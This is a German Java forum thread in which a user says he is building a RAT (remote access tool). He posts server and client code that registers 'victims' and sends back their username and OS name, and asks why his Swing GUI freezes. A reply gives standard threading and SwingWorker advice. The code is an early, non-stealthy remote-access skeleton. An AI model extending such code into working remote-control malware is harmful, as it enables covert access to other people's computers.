GUI hängt

Phantom

Neues Mitglied
Hi,
bin gerade dabei ein RAT zu programmieren, jedoch hägt sich jetzt jedesmal die GUI auf, und tut weder die TextArea mit den Infos aktualisieren, noch kann man scrollen oder am Spinner was tun. Kurz um, die GUI hängt komplett!
Meine Frage: Wie kann ich das ändern?
Ich hab da was von dem SwingWorker gehört, zwar verstanden, was er machen soll, aber nicht verstanden, wie er funktioniert.

Hier mal der Server-Code:
Java:
package ratserverv2;

import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.lang.String;
import java.util.*;
import java.net.*;
import java.util.logging.*;
import javax.swing.*;

public class Main {
    
    ArrayList victims;
    JList victimview;
    JTextArea victiminfo;
    JSpinner portspinner;
    JButton connectbutton;
    PrintWriter printer;

    public class ClientHandler implements Runnable{
        BufferedReader reader;
        Socket sock;
        InputStreamReader strReader;

        
        public ClientHandler(Socket clientSocket) {
            
            try {
                sock = clientSocket;
                reader = new BufferedReader(strReader = new InputStreamReader(sock.getInputStream()));
            } catch (IOException ex) {
                Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
            }
        }
        
        public void run() {
            String message;
            try {
                while ((message = reader.readLine()) != null) {
                    System.out.println("New Message: "+ message);
                    if (message.equals("Victim")){
                        sendText("Registered");
                    }if (message.equals("Info")){
                        String User = reader.readLine();
                        String OS = reader.readLine();
                        System.out.println("Infos: "+User+"   "+OS);
                        victiminfo.append("Info: \n" + User +"\n"+OS);
                        
                    }
                }
            } catch (IOException ex) {
                System.out.println("User Disconnected");
            }
        }
        
        
        
    }
    
    public static void main(String[] args) {
        Main server=new Main();
        server.start();
    }
    public void start(){
        JFrame sframe=new JFrame("RAT-Server");
        JPanel mainpanel=new JPanel();
        mainpanel.setLayout(new BoxLayout(mainpanel, BoxLayout.Y_AXIS));
        JPanel victimpanel=new JPanel();
        victimpanel.setLayout(new BoxLayout(victimpanel, BoxLayout.X_AXIS));
        JPanel controlpanel=new JPanel();
        controlpanel.setLayout(new BoxLayout(controlpanel, FlowLayout.LEFT));
        victimview=new JList();
        JScrollPane scroll_list=new JScrollPane(victimview);
        scroll_list.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
        scroll_list.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
        scroll_list.setPreferredSize(new Dimension(400,1000));
        victiminfo=new JTextArea(10,20);
        victiminfo.setSize(240, 300);
        JLabel PortLabel=new JLabel("Port:");
        portspinner=new JSpinner();
        portspinner.setValue(4000);
        portspinner.setSize(new Dimension(50,10));
        connectbutton=new JButton("Connect");
        connectbutton.addActionListener(new connectButtonListener());
        //ButtonListener
        System.out.println(Thread.currentThread().getName());
        victimpanel.add(scroll_list);
        victimpanel.add(victiminfo);
        controlpanel.add(PortLabel);
        controlpanel.add(portspinner);
        controlpanel.add(connectbutton);
        mainpanel.add(victimpanel);
        mainpanel.add(controlpanel);
        sframe.getContentPane().add(BorderLayout.CENTER, mainpanel);
        sframe.setSize(500, 500);
        sframe.setVisible(true);
        sframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        victiminfo.setSize(240, 400);


        
    }

    public void sendText(String sText){
        printer.println(sText);
        printer.flush();
    }

    private class connectButtonListener implements ActionListener {

        public void actionPerformed(ActionEvent e) {
            try {
            ServerSocket serverSock = new ServerSocket(4000);

            while(true){
                Socket clientSocket=serverSock.accept();
                printer = new PrintWriter(clientSocket.getOutputStream());

                Thread connect = new Thread(new ClientHandler(clientSocket));
                connect.setName("connect");
                connect.start();
                }
            } catch (IOException ex) {
            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
            }
        }

    }
}

Ich poste hier auch mal noch den Client-Code, der benötigt wird, da die GUI erst hängt, wenn der Client connected hat.
Java:
package ratclientv2;

import java.io.*;
import java.net.*;
import java.util.logging.*;

public class Main {

    Socket sock;
    InputStreamReader strReader;
    BufferedReader reader;
    PrintWriter printer;
    String IPAdress;
    Integer Port;
    Integer Timeout;

    public static void main(String[] args) {
        Main client = new Main();
        client.start("127.0.0.1", 4000, 1000);

        client.sendText("Victim");
    }

    void start(String IP, Integer port, Integer timeout){
       

        IPAdress=IP;
        Port=port;
        Timeout=timeout;
        connect();
        Thread readerThread = new Thread(new receiveText());
        readerThread.setName("readerThread");
        readerThread.start();
   
    }

    void connect(){
        try {
            sock = new Socket(IPAdress, Port);
            reader = new BufferedReader(strReader = new InputStreamReader(sock.getInputStream()));
            printer = new PrintWriter(sock.getOutputStream());
            System.out.println("Connected to " + IPAdress + " on Port: " + Port);
        } catch (IOException ex) {
            System.out.println("Connection failed! Trying again!");
            reconnect(Timeout);
        }
    }

    void reconnect(Integer timeout){
        try {
            Thread.sleep(timeout);
        } catch (InterruptedException ex) {
            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
        }
        connect();
    }
    
    void sendText(String sText){
        printer.println(sText);
        printer.flush();
    }
    
    public class receiveText implements Runnable{
        public void run(){
            String message;
            while(true){
                try {
                    while ((message = reader.readLine()) != null) {
                        System.out.println("New Message: " + message);

                        if (message.equals("Registered")){
                            sendText("Info");
                            sendText("Username: "+System.getProperty( "user.name" ));
                            sendText("OS-Version: "+System.getProperty( "os.name" ));
                        }
                    }
                } catch (IOException ex) {
                    Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
                }catch (NullPointerException nEx) {System.out.print("error");}
            }
        }
    }
    


}

Hoffe hier kann mir jemand helfen

Das Phantom

PS: Schon mal vielen Dank im Vorraus ;)
 
S

SlaterB

Gast
der ActionListener muss unter allen Umständen sofort zu Ende gehen, so lange der läuft ist die GUI blockiert,
der ganze Code darin der lange dauert kann in einen Thread, Thread kennst du ja anscheinend

SwingWorker ist ähnlich, bisschen aufgeteilt dass am Ende Ergebnis-Aufgaben doch wieder (kurz!) vom GUI-Thread ausgeführt werden,
denn Daten der GUI von nebenläufigen Threads ändern zu lassen kann wiederum Probleme geben

Beispiele für SwingWorker gibts überall, einfach die Verwendung anschauen
Albert Attard: Practical Example of Swing Worker
oder eben vorerst simpel einen Thread starten, der ServerSocket verwaltet
 
Ähnliche Java Themen
  Titel Forum Antworten Datum
Juelin Javafx hängt sich auf AWT, Swing, JavaFX & SWT 31
P Swing Programm hängt sich bei Buttondruck auf? (GUI für "Chatbot" erstellen) AWT, Swing, JavaFX & SWT 15
H Swing BufferedReader.close() hängt im SwingWorker AWT, Swing, JavaFX & SWT 1
D JavaFX Anwendung hängt sich permanent auf AWT, Swing, JavaFX & SWT 6
T Swing Programm hängt sich auf! AWT, Swing, JavaFX & SWT 23
B Frame hängt sich auf trotz invokeLater AWT, Swing, JavaFX & SWT 1
L JButton flackern - Programm hängt sich auf AWT, Swing, JavaFX & SWT 3
J Programm hängt sich bei Log In auf AWT, Swing, JavaFX & SWT 1
C JFileChooser hängt bei Ausführung mit Terminal AWT, Swing, JavaFX & SWT 2
S JScrollPane --> Programm hängt sich beim scrollen auf AWT, Swing, JavaFX & SWT 2
F Grafik hängt sich auf AWT, Swing, JavaFX & SWT 20
Guybrush Threepwood Desktop.open(file) hängt AWT, Swing, JavaFX & SWT 4
M Programm hängt sich auf nachdem repaint() benutzt wurde AWT, Swing, JavaFX & SWT 2
C Swing JTextfield hängt sich bei Eingabe auf AWT, Swing, JavaFX & SWT 6
C SWT Gui Thread hängt sich auf AWT, Swing, JavaFX & SWT 3
H Swing UndoManager hängt beim Redo AWT, Swing, JavaFX & SWT 3
R GUI hängt während Programm läuft AWT, Swing, JavaFX & SWT 7
D JApplet hängt im Browser fest AWT, Swing, JavaFX & SWT 5
P JTree insertNodeInto hängt das Item in die "Luft" AWT, Swing, JavaFX & SWT 8
E Swing-Gui hängt scheinbar AWT, Swing, JavaFX & SWT 14
J JTextArea#replaceRange() - Wo hängt der Hammer? AWT, Swing, JavaFX & SWT 4
D MessageDialog hängt AWT, Swing, JavaFX & SWT 3
S statusleiste bleibt leer und gui hängt AWT, Swing, JavaFX & SWT 3
B drawImage() hängt! AWT, Swing, JavaFX & SWT 18
G GUI hängt AWT, Swing, JavaFX & SWT 7
M Rechner/JVM hängt ab ca. 247 Frames AWT, Swing, JavaFX & SWT 8
T Java Runtime.exec per JButton auslösen -> Programm hängt AWT, Swing, JavaFX & SWT 10

Ähnliche Java Themen

Neue Themen


Oben